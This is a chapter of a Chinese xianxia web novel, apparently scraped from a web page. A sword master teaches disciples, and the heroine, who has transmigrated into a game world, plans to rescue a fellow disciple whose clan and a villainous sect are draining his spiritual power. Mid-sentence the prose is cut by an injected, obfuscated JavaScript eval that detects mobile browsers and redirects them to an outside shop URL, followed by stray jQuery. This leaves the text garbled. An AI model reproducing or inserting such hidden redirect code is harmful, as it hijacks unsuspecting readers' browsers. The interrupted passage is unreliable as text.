“我们今天学逍遥剑法第一式。”李逢久对着面前的年轻人们挽了个剑花,右手反手握剑,左手微抬,摆出起手式,“我先演示一遍。”
话音刚落,他眼神一沉,左脚向斜前方迈出半步,背后的剑横劈至身前。
刺,斩,挑。
转身,下蹲,跃起。
宽袍广袖,衣袂翩翩。
一点青光自由地穿梭在翻涌的绿浪之中,手腕翻转,剑刃划过一道平滑的弧度,在借着惯性飞出去之前,克制地止住锋芒,顺势回转。
忽而树叶沙沙,风温和却又不容置疑的扑向他。
逆着渐大的风势,李逢久手中的剑依旧没有往前的意思,随执剑人的向后扬起的袖袍顺从地掉过剑指方向,不露锋芒。
风越来越大,叶子扑头盖脸地落下来。
在风与叶的交缠中,罅隙间似是闪过一抹寒光。
剑再次刺出去时,风转了向。
“锃——”
围观的人恍如从梦中惊醒,被卷入风叶的灵魂骤然落地,失神地看见最前面的人倚树勾唇。
最后一缕未平息的风要挽他青色的衣角,恋恋不肯离去。
长衫飘逸,自是一派风流印象。
众人静默。
最后是在远处教别人的何毅走来打破这片沉静。
“李师、不对,李峰主。”何毅叉腰,“您整这么大的阵仗干嘛呢,师姐又不在。”
李逢久眨眼:“撑下场子。”
顺便给某人长脸。
何毅围着他转,摇头:“您搞这么一出,这让我怎么教啊!我带的师弟师妹们魂都飞你身上了!”
听闻此言,其他代教亲传纷纷开始叹气:“有竹峰主此珠玉在前,我等自惭形愧,万不敢再误人子弟。”
李逢久挑眉,转向看一位出身落竹峰的代教。
那弟子装模作样叹了几下,最后忍不住笑,拉着自己的搭档回自己的地盘,继续上课。
李逢久再转头过来,其他人或是行礼,或是低笑,或是摇头晃脑看风景。
不过片刻,除了何毅以外的代教都做鱼鸟散了。
“你还不走?”李逢久盯着他。
何毅凑过来,不停地搓手:“那啥,商量个事呗。”
“说。”
“师兄你知道的,我是个练拳的体修。”何毅露出一副可怜兮兮的表情,“基础剑法就算了……后面的,我真不太熟。”
“您行行好,后面把两个班合一块教了吧。”
李逢久表情兴味:“怎么不找别人?”
“这不显得您能干嘛。”何毅贱兮兮地笑,“能者多劳,能者多劳,等师姐回来了我多夸夸您呗——”
“不干。”
“——得咧!”何毅也不沮丧,拍拍衣服就走了。
看来崔师兄很快就能回来了。他想。
基础剑法要配着心法一起练,新人们要完全掌握至少还得要一个月。
何毅十分怀念以前跟着崔晓狐假虎威的日子,隔着千里给某人打气。
师姐我相信你——
“啊啾!”
被念到的徐殊连连打了好几个喷嚏,惹得黎瑶面露忧色。
“没事。”她摆摆手,继续看眼前的图。
这是她昨天晚上去找崔晓,叫崔晓画的崔家的地形图。
镜片谴责她压榨病号,一个剑修拿起笔的时候手腕止不住的抖,让人看得揪心。
崔晓提腕,沉思下笔。
徐殊在他看不到的地方冲它翻了个白眼,留了几样丹药和符箓,没留法器,不太好藏容易被发现。
回客栈后她放飞了几只加急的传声雀,一脸肉疼,最后狠狠咬牙:“记辰阳宫账上。”
“你怎么确定是辰阳宫的?主线不是还没开始吗?”镜片疑惑,在识海里发问。
徐殊的神识轻轻敲了它一下:“谁家反派是一下子就壮大搞大事的,肯定有蛰伏伪装发育的时候。”
辰阳宫作为《仙途漫漫》贯穿全文的最大反派,从前期的挖坑搞事,到后期的串通魔族献祭全修真界,可谓是无恶不赦,干的好事罄竹难书。
但是直到快结局的时候,辰阳宫道貌岸然的伪装才被撕下来,作为最终boss被主角团合力打败。
主角团可遭了不少辰阳宫的祸害,一大半悲剧都是后者推动造成的。
——甚至包括徐殊原身的灭门惨案。
其实最开始徐殊并没有意识到徐家的灭亡和辰阳宫有什么关系。
毕竟在原游戏里辰阳宫干的最多的事是掳走修为不错的修士,吸食对方的修为,抢夺对方的灵根,最后把人连皮带骨拿去炼丹。
由于散修众多,小门派林立,偶有几名名门弟子。
秘境中一群人鱼龙混杂,有人遇害也是实属正常。
直接这般屠戮满门,却是从来没有过的。
所以徐殊最开始并没有往辰阳宫的方向查,直到二十岁那年抓到了辰阳宫的尾巴。
……哈。
徐殊思绪飘来飘去,最后落于一点。
真是阴沟里的老鼠。
辰阳宫从主线开始才对逍遥门这样的名门流派出手,尤其逍遥门损失颇重,两家的关系开始恶化。
现在她手上并没有确凿的证据能证明辰阳宫的罪行,所以她一直没和门内的其他人提,免得打草惊蛇。
这些年徐殊下山游历,偷摸端了不少辰阳宫的窝点,因此对方的进度也比游戏里要慢很多。
她以为按这个情况,辰阳宫会多少夹紧一点尾巴,没想到直接狗急跳墙,提前对崔晓下手了。
还联合了崔氏。
徐殊不确定崔家到底有多少人知情、有多少和辰阳宫勾结、有多少人遇害。
他们现在吊着崔晓的命只是因为他极佳的天赋,使他修炼提纯的灵力更快更多,还有没办法切断和逍遥门命灯的联系。
虽然目前无性命之忧,但是照这样下去,崔晓被持续吸走灵力,无法储存,会对灵根经脉和丹田造成不可逆转的损伤。
崔家第一剑。
徐殊反复咀嚼这五个字,舌尖抵住上颚,忽的一笑。
袖子一挥将桌上的地图收起来,掏出个令牌丢给黎瑶。
“黎瑶,”徐殊语调平缓,“你先去蓬莱,不要回逍遥门,然后把这个交给你大哥。”
“师姐!”黎瑶愕然看她。
徐殊窝在榻上,垂眸盯着自己的手。
偷鸡摸狗是吧。
躲藏发育是吧。
视若不见是吧。
她记得这届的崔家家主才元婴。
徐殊不知道他有没有主动参与,毕竟当初他上位还是专门让逍遥门去撑的场面,二者利益捆绑颇深。虽然崔晓不太亲崔家了,但是往前数几百年,两家还结过亲,渊源流长。
但是家主绝对知情。
辰阳宫给了什么好处,还是威胁,还是说已经被架空,家主身处其中无论如何也绕不开。
崔晓这么一个大活人就待在后院呢。
无所谓了。
既然目前他们的想法
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728801|208915||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是不想闹大,继续猥琐发育。
那她偏不如他们所愿!
“制定面面俱到的计划还是太难为我了。”渐晓的天色,徐殊将小院的窗户重新支起,回头对着明显瘦削的人笑的张扬,“我还是更喜欢直接一些的方式。”
崔晓轻轻摁下她握拳挥舞的手腕,皱眉不赞同地看着她。
徐殊反握住他的手,摩挲他异常突出的指关节,好似只有一层练剑磨出来的茧薄薄的包裹着。
他本不必回来的。
她抓着这只手出神。
在她连续的逼问下,崔晓才说出他回来的原因——
他在仙盟会在崔家带队弟子的法器上,看见了徐家的家徽。
虽然徐殊一直在瞒,但她频繁的下山早已让师门多有察觉。
想她灭门的恨,想她复仇的心,想她眼里越烧越旺的愤怒。
他们不知道她查到了辰阳宫,只是想着多帮帮她。
徐殊不说,那他们就不问。
毕竟灭门之恨,剜心之痛,溃烂的伤口只是被轻轻吹起,都能引起钻心的疼。
崔晓看见那个家徽,和那弟子打探时,想的是当初那个,头发凌乱蹲在角落的孩子。
当弟子说这是家中长辈所赐,邀请许久未归家的剑仙回去,可以更详细地问问长辈。
他抱着剑,剑柄有个歪歪扭扭的剑穗,是他及冠的时候央着脾气不好的某人编的。
因为裴今朝有,所以他也要有。
崔晓想,他得去看看。
也许是陷阱,也许是机会。
只是九十六的簪子大概要赶不上蓬莱的盛会了。
要不然找人带过去?
但某个小没良心的,绝对拿了首饰扭头就忘。
粉色的狐狸簪子,会被她骂他怎么又挑的这个最幼稚的颜色,然后背对着院里的桃花树,照着池子插上,脑袋左摇右晃。
粉色的花瓣轻轻落在琉璃般平滑的池面上,她才终于松了口,说确实还可以。
还有、还有、还有……
被灌药倒下时,崔晓迷迷糊糊地想。
陶师叔捡回来的那个孩子,还会怕黑叫爹娘吗?
等他再醒来时就在这个院子里了,灵力被吸了个干净。
每天都有人送饭,但是不知道是水还是饭食里下了药,他的手脚软弱无力,只有自行在经脉中运转的功法帮他吸收着外界的灵力。
每隔几天,他又会无意识的倒下,灵力被吸走,醒来再次吸收。
如此反复。
期间有人过来叫他写信,他向那人甩了甩自己瘫软的手,随后疲惫躺下,不想理睬。
那人上手摇晃,崔晓实在头疼,于是吐露出几个字眼,翻身,听那人摔门而去。
他想,她能看出端倪吗?
他又想,还是别了,师长不在,她要是独身过来怎么办?
还是等一等,等师长们回来,再过来救他吧。
崔晓如此纠结,以至于有些夜不能寐,身子更快地瘦了下去。
只是到底还是来了。
也是,怎么可能不来呢。
他既高兴又难过。
那杯冷茶泼出去的时候,他感受自己胸腔里骤然强烈起来的震动,看一张陌生的脸熟练地摸上他。
看她皱眉,看她黑脸,看她质问。
崔晓却是拿出那根簪子插在她头上,一双还算亮的起来的眼视线流转,艰难地维持着世家公子的风度,对着徐殊浅浅地笑:“和我想的一样。”
如此可爱。